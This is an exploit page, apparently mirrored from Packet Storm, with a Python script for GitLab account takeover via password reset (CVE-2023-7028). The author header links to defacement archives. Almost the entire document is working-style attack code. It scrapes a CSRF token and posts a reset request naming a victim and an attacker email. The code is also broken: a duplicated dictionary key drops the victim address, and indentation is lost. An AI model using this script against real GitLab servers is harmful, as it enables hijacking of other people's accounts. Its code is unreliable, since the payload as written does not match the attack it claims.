Share
## https://sploitus.com/exploit?id=PACKETSTORM:190576
# Exploit Title: GitLab 16.7.2 - Account Takeover via Password Reset
without user interactions
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# Version: = 16.7.2
# Tested on: Win, Ubuntu
# CVE : CVE-2023-7028
#!/usr/bin/env python3
import argparse
import re
import requests
import os
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
session = requests.Session()
def grab_token(url):
headers =
{"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0
(Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101
Firefox/121.0","Referer":""+url+"/users/sign_in","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip,
deflate, br"}
cookies = {"preferred_language":"en"}
response = session.get(""+url+"/users/password/new",
headers=headers,verify=False)
pattern = r'<meta name="csrf-token" content="(.+?)" />'
match = re.findall(pattern, response.text)
if match:
token = match[0]
print(f'The CSRF token is: {token}')
return token
else:
print('Error: CSRF token not found in the HTML content')
exit()
def reset_password(url,token,victim,attacker):
paramsPost =
{"user%5Bemail%5D":victim,"user%5Bemail%5D":attacker,"authenticity_token":token}
headers =
{"Origin":""+url+"","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0
(Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101
Firefox/121.0","Referer":""+url+"/users/password/new","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip,
deflate, br","Content-Type":"application/x-www-form-urlencoded"}
response = session.post(""+url+"/users/password", data=paramsPost,
headers=headers,verify=False)
if "If your email address exists " in response.text:
print("Check if you have a new password reset email")
else:
print("Possible not vuln")
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=False, default="
http://gitlab.lan",help="URL of host to check will need http or https")
parser.add_argument("-v", "--victim",
default="victim@gitlab.lan",required=True,
help="victim email address")
parser.add_argument("-a", "--attacker",
default="attacker@gitlab.lan",required=True,
help="attacker email address")
parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy
for debugging")
args = parser.parse_args()
url = args.url
victim = args.victim
attacker = args.attacker
if args.proxy:
http_proxy = args.proxy
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy
if url:
token = grab_token(url)
reset_password(url,token,victim,attacker)